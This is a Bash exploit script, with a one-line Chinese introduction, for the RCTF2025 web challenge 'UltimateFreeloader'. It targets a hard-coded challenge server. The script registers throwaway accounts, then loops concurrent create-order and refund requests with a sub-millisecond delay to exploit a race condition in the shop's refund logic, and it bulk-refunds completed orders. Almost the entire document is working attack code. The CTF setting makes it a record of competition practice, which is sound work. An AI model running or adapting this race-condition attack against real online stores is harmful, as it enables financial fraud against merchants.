RCTF2025-script

这里是 RCTF2025 Web 题目 UltimateFreeloader 的脚本。

#!/usr/bin/env bash

# ================== 基本配置 ==================
BASE_URL="http://61.147.171.35:62990"
DEFAULT_PRODUCT_ID="550e8400-e29b-41d4-a716-446655440003"

# ================== 上下文状态(类似 Python 那个 Context) ==================
TOKEN=""
LAST_ORDER_ID=""
PRODUCT_ID="$DEFAULT_PRODUCT_ID"
QUANTITY=1
COUPON_ID=""
REFUND_SLEEP="0.0005"
IGNORED_ORDER_IDS=""

# ================== 工具函数 ==================
pretty_print() {
local title="$1"
local data="$2"
echo
echo "===== ${title} ====="
if command -v jq >/dev/null 2>&1; then
echo "$data" | jq . 2>/dev/null || echo "$data"
else
echo "$data"
fi
echo "================================"
echo
}

api_post() {
local path="$1"
local json_data="$2"
local url="${BASE_URL}${path}"

local auth_header=()
if [ -n "$TOKEN" ]; then
auth_header=(-H "Authorization: Bearer ${TOKEN}")
fi

if [ -n "$json_data" ]; then
curl -s -S -X POST "$url" \
-H "Content-Type: application/json" \
"${auth_header[@]}" \
-d "$json_data"
else
curl -s -S -X POST "$url" \
"${auth_header[@]}"
fi
}

api_get() {
local path="$1"
local url="${BASE_URL}${path}"

local auth_header=()
if [ -n "$TOKEN" ]; then
auth_header=(-H "Authorization: Bearer ${TOKEN}")
fi

curl -s -S -X GET "$url" "${auth_header[@]}"
}

show_state() {
printf '\n===== 当前上下文状态 =====\n'
echo "TOKEN = $TOKEN"
echo "PRODUCT_ID = $PRODUCT_ID"
echo "QUANTITY = $QUANTITY"
echo "COUPON_ID = $COUPON_ID"
echo "LAST_ORDER_ID = $LAST_ORDER_ID"
echo "REFUND_SLEEP = ${REFUND_SLEEP}s"
echo "IGNORED_ORDER_IDS= $IGNORED_ORDER_IDS"
echo "================================"
echo
}

# ================== 业务函数 ==================

register_user() {
# 生成随机用户名 / 邮箱
if command -v uuidgen >/dev/null 2>&1; then
local username email
username="$(uuidgen)"
email="$(uuidgen)@example.com"
else
local ts
ts="$(date +%s)"
username="user-${ts}-$RANDOM"
email="mail-${ts}-$RANDOM@example.com"
fi
local password="123"

local payload
payload=$(printf '{"username":"%s","email":"%s","password":"%s"}' "$username" "$email" "$password")

echo "[*] 注册用户:$username / $email"
local resp
resp=$(api_post "/api/user/register" "$payload")
pretty_print "注册结果" "$resp"

if command -v jq >/dev/null 2>&1; then
TOKEN=$(echo "$resp" | jq -r '.data.token // empty' 2>/dev/null)
if [ -n "$TOKEN" ]; then
echo "[+] 已解析并保存 token: $TOKEN"
else
echo "[-] 未从返回结果中解析到 token"
fi
else
echo "[!] 未安装 jq,无法自动解析 token,请手动设置。"
fi
}

set_token() {
read -rp "请输入 token: " t
TOKEN="$t"
echo "[+] 已更新 token"
}

set_params() {
echo "当前 productId = $PRODUCT_ID"
read -rp "输入新的 productId(直接回车保留当前): " p
if [ -n "$p" ]; then
PRODUCT_ID="$p"
fi

echo "当前 quantity = $QUANTITY"
read -rp "输入新的 quantity(整数,回车保留当前): " q
if [ -n "$q" ]; then
if [[ "$q" =~ ^[0-9]+$ ]]; then
QUANTITY="$q"
else
echo "[-] quantity 必须为整数,已忽略修改"
fi
fi

echo "当前 couponId = $COUPON_ID"
read -rp "输入新的 couponId(回车表示不使用优惠券): " c
if [ -n "$c" ]; then
COUPON_ID="$c"
else
COUPON_ID=""
fi

echo "[+] 参数已更新"
}

create_order() {
if [ -z "$TOKEN" ]; then
echo "[-] 请先设置 token(菜单 1 或 2)"
return
fi

local coupon_json
if [ -n "$COUPON_ID" ]; then
coupon_json=$(printf '"%s"' "$COUPON_ID")
else
coupon_json="null"
fi

local payload
payload=$(printf '{"productId":"%s","quantity":%s,"couponId":%s}' \
"$PRODUCT_ID" "$QUANTITY" "$coupon_json")

local resp
resp=$(api_post "/api/order/create" "$payload")
pretty_print "创建订单结果" "$resp"

if command -v jq >/dev/null 2>&1; then
local oid
oid=$(echo "$resp" | jq -r '.data.order.id // empty' 2>/dev/null)
if [ -n "$oid" ]; then
LAST_ORDER_ID="$oid"
echo "[+] 已保存最近订单 ID: $LAST_ORDER_ID"
else
echo "[-] 未从返回结果中解析到订单 ID"
fi
fi
}

refund_order() {
if [ -z "$TOKEN" ]; then
echo "[-] 请先设置 token(菜单 1 或 2)"
return
fi

local oid
read -rp "输入要退款的订单 ID(回车使用 last_order_id=$LAST_ORDER_ID): " oid
if [ -z "$oid" ]; then
oid="$LAST_ORDER_ID"
fi
if [ -z "$oid" ]; then
echo "[-] 没有可用的订单 ID"
return
fi

local resp
resp=$(api_post "/api/order/refund/${oid}" "")
pretty_print "订单退款结果" "$resp"
}

user_info() {
if [ -z "$TOKEN" ]; then
echo "[-] 请先设置 token(菜单 1 或 2)"
return
fi

local resp
resp=$(api_get "/api/user/info")
pretty_print "当前用户信息 (/api/user/info)" "$resp"
}

my_orders() {
if [ -z "$TOKEN" ]; then
echo "[-] 请先设置 token(菜单 1 或 2)"
return
fi

local resp
resp=$(api_get "/api/order/my")

echo
echo "===== 当前用户订单列表(只显示 id / status) ====="

if command -v jq >/dev/null 2>&1; then
echo "$resp" | jq -r '
if .data == null then
"无 data 字段"
elif (.data | type) == "array" then
.data[] | "id=\(.id) status=\(.status)"
else
.data | "id=\(.id) status=\(.status)"
end
'
else
echo "[!] 未安装 jq,无法只提取 id/status,原始响应如下:"
echo "$resp"
fi

echo "=========================================="
echo
}

threaded_once() {
if [ -z "$TOKEN" ]; then
echo "[-] 请先设置 token(菜单 1 或 2)"
return
fi
if [ -z "$LAST_ORDER_ID" ]; then
echo "[-] 请先创建至少一个订单(菜单 4),以便有 orderId 可以退款"
return
fi

local oid="$LAST_ORDER_ID"
echo "[*] 开始一次并发:createOrder(无券) + refundOrder($oid)"

local tmp_create tmp_refund
tmp_create=$(mktemp)
tmp_refund=$(mktemp)

# ⚠ 并发下单不带优惠券,couponId 固定为 null
local payload
payload=$(printf '{"productId":"%s","quantity":%s,"couponId":null}' \
"$PRODUCT_ID" "$QUANTITY")

(
api_post "/api/order/create" "$payload" >"$tmp_create"
) &

(
sleep 0.0005
api_post "/api/order/refund/${oid}" "" >"$tmp_refund"
) &

wait

echo "----- create_order 响应 -----"
if command -v jq >/dev/null 2>&1; then
cat "$tmp_create" | jq . 2>/dev/null || cat "$tmp_create"
else
cat "$tmp_create"
fi

echo "----- refund_order 响应 -----"
if command -v jq >/dev/null 2>&1; then
cat "$tmp_refund" | jq . 2>/dev/null || cat "$tmp_refund"
else
cat "$tmp_refund"
fi

rm -f "$tmp_create" "$tmp_refund"
}

threaded_loop() {
if [ -z "$TOKEN" ]; then
echo "[-] 请先设置 token(菜单 1 或 2)"
return
fi
if [ -z "$LAST_ORDER_ID" ]; then
echo "[-] 请先创建至少一个订单(菜单 4),以便有 orderId 可以退款"
return
fi

read -rp "输入循环轮数(例如 50 / 100): " rounds
if ! [[ "$rounds" =~ ^[0-9]+$ ]]; then
echo "[-] 轮数必须是整数"
return
fi

local i
echo "[*] 开始循环并发测试,共 ${rounds} 轮"
for ((i = 1; i <= rounds; i++)); do
echo
echo "---- Round ${i}/${rounds} ----"

local tmp_create tmp_refund
tmp_create=$(mktemp)
tmp_refund=$(mktemp)

# payload for create_order
local coupon_json payload
if [ -n "$COUPON_ID" ]; then
coupon_json=$(printf '"%s"' "$COUPON_ID")
else
coupon_json="null"
fi
payload=$(printf '{"productId":"%s","quantity":%s,"couponId":%s}' \
"$PRODUCT_ID" "$QUANTITY" "$coupon_json")

(
api_post "/api/order/create" "$payload" >"$tmp_create"
) &

(
if [ -n "$REFUND_SLEEP" ]; then
sleep "$REFUND_SLEEP"
fi
api_post "/api/order/refund/${LAST_ORDER_ID}" "" >"$tmp_refund"
) &

wait

if command -v jq >/dev/null 2>&1; then
local msg1 msg2
msg1=$(cat "$tmp_create" | jq -r '.message // .msg // empty' 2>/dev/null)
msg2=$(cat "$tmp_refund" | jq -r '.message // .msg // empty' 2>/dev/null)
echo "[create_order] message = ${msg1}"
echo "[refund_order] message = ${msg2}"
else
echo "[create_order] $(cat "$tmp_create")"
echo "[refund_order] $(cat "$tmp_refund")"
fi

rm -f "$tmp_create" "$tmp_refund"
done
echo "[*] 循环并发测试结束"
}

coupon_available() {
if [ -z "$TOKEN" ]; then
echo "[-] 请先设置 token(菜单 1 或 2)"
return
fi

local resp
resp=$(api_get "/api/coupon/available")

echo
echo "===== 可用优惠券列表 (/api/coupon/available) ====="

if ! command -v jq >/dev/null 2>&1; then
echo "[!] 未安装 jq,无法解析结构,原始响应如下:"
echo "$resp"
echo "==============================================="
return
fi

# 打印简要列表:索引 + id + status/其他字段(根据你的实际结构改)
# 假设接口返回形如:{ "data": [ { "id": "...", "status": "...", ... }, ... ] }
local count
count=$(echo "$resp" | jq '.data | length' 2>/dev/null)

if [ -z "$count" ] || [ "$count" -eq 0 ]; then
echo "没有可用优惠券。"
echo "==============================================="
return
fi

echo "$resp" | jq -r '
.data
| to_entries[]
| "[\(.key)] id=\(.value.id) status=\(.value.status // "N/A")"
'

echo "==============================================="
echo

# 选择要使用的那一张
read -rp "请选择要使用的优惠券序号(0 ~ $((count - 1)),直接回车选 0): " idx
if [ -z "$idx" ]; then
idx=0
fi

if ! [[ "$idx" =~ ^[0-9]+$ ]] || [ "$idx" -lt 0 ] || [ "$idx" -ge "$count" ]; then
echo "[-] 序号不合法,取消设置 COUPON_ID"
return
fi

local cid
cid=$(echo "$resp" | jq -r ".data[$idx].id" 2>/dev/null)

if [ -n "$cid" ]; then
COUPON_ID="$cid"
echo "[+] 已选择优惠券:$COUPON_ID"
else
echo "[-] 未能解析到优惠券 id"
fi
}

auto_refund_completed() {
if [ -z "$TOKEN" ]; then
echo "[-] 请先设置 token(菜单 1 或 2)"
return
fi

echo "[*] 从 /api/order/my 获取订单列表..."
local resp
resp=$(api_get "/api/order/my")

if ! command -v jq >/dev/null 2>&1; then
echo "[!] 未安装 jq,无法解析订单状态,原始响应如下:"
echo "$resp"
return
fi

# 提取所有 status == "COMPLETED" 的订单 id
local ids
ids=$(echo "$resp" | jq -r '
if .data == null then
empty
elif (.data | type) == "array" then
.data[] | select(.status == "COMPLETED") | .id
else
# 如果 data 是单个对象
if .data.status == "COMPLETED" then .data.id else empty end
end
')

if [ -z "$ids" ]; then
echo "[*] 没有状态为 COMPLETED 的订单,无需操作。"
return
fi

echo "===== 将自动退款以下 COMPLETED 订单 ====="
echo "$ids" | nl -ba
echo "======================================="
read -rp "确认执行退款吗?(Y/n): " confirm
if [[ "$confirm" =~ ^[Nn]$ ]]; then
echo "[-] 已取消自动退款操作。"
return
fi

# 逐个调用 /api/order/refund/{id}
local id
while read -r id; do
[ -z "$id" ] && continue

if is_ignored_order "$id"; then
echo
echo "[*] 跳过忽略订单: $id"
continue
fi

echo
echo "[*] 正在退款订单: $id"
local r
r=$(api_post "/api/order/refund/${id}" "")
if command -v jq >/dev/null 2>&1; then
local msg
msg=$(echo "$r" | jq -r '.message // .msg // empty' 2>/dev/null)
echo " -> message: ${msg}"
else
echo "$r"
fi
done <<< "$ids"

echo
echo "[*] 自动退款 COMPLETED 订单操作完成。"
}

set_refund_sleep() {
echo "当前并发退款 sleep 时间: ${REFUND_SLEEP}s"
read -rp "输入新的 sleep 时间(秒,可小数,直接回车保持不变): " v
if [ -z "$v" ]; then
echo "[*] 保持不变 (${REFUND_SLEEP}s)"
return
fi

# 允许类似 0.0005 / 0.1 / 1 / 2.5 这种数字
if [[ "$v" =~ ^[0-9]*\.?[0-9]+$ ]]; then
REFUND_SLEEP="$v"
echo "[+] 已更新 REFUND_SLEEP = ${REFUND_SLEEP}s"
else
echo "[-] 无效数字,保持原值 ${REFUND_SLEEP}s"
fi
}

add_ignored_order() {
read -rp "输入要加入忽略列表的订单 ID: " oid
if [ -z "$oid" ]; then
echo "[-] 订单 ID 不能为空"
return
fi

# 检查是否已存在
case " $IGNORED_ORDER_IDS " in
*" $oid "*)
echo "[*] 订单 $oid 已经在忽略列表中"
;;
*)
IGNORED_ORDER_IDS="$IGNORED_ORDER_IDS $oid"
# 去掉可能的前导空格
IGNORED_ORDER_IDS="${IGNORED_ORDER_IDS## }"
echo "[+] 已将订单 $oid 加入忽略列表"
;;
esac

echo "当前忽略订单列表: $IGNORED_ORDER_IDS"
}

# 判断某个订单 ID 是否在忽略列表中
is_ignored_order() {
local oid="$1"
case " $IGNORED_ORDER_IDS " in
*" $oid "*)
return 0 # 在列表中
;;
*)
return 1 # 不在列表中
;;
esac
}

print_menu() {
echo "========= Happy Shopping 调试菜单 ========="
echo "1. 注册新用户并保存 token"
echo "2. 手动设置 token"
echo "3. 设置 productId / quantity / couponId"
echo "4. 创建新订单(保存 orderId)"
echo "5. 对指定订单退款"
echo "6. 并发测试:同时下单 + 退款(跑一次)"
echo "7. 并发循环测试:多轮下单 + 退款"
echo "8. 查看当前上下文状态"
echo "9. 查看当前用户信息 (/api/user/info)"
echo "10. 查看当前用户订单列表 (/api/order/my)"
echo "11. 获取并选择优惠券 (/api/coupon/available)"
echo "12. 自动退款所有 COMPLETED 订单"
echo "13. 设置并发退款 sleep 延迟(当前 ${REFUND_SLEEP}s)"
echo "14. 将订单加入自动退款忽略列表"
echo "0. 退出"
echo "=========================================="
}

main_loop() {
while true; do
print_menu
read -rp "请选择操作: " choice

case "$choice" in
0)
echo "Bye~"
break
;;
1)
register_user
;;
2)
set_token
;;
3)
set_params
;;
4)
create_order
;;
5)
refund_order
;;
6)
threaded_once
;;
7)
threaded_loop
;;
8)
show_state
;;
9)
user_info
;;
10)
my_orders
;;
11)
coupon_available
;;
12)
auto_refund_completed
;;
13)
set_refund_sleep
;;
14)
add_ignored_order
;;
*)
echo "[-] 无效选择,请重新输入"
;;
esac
done
}

main_loop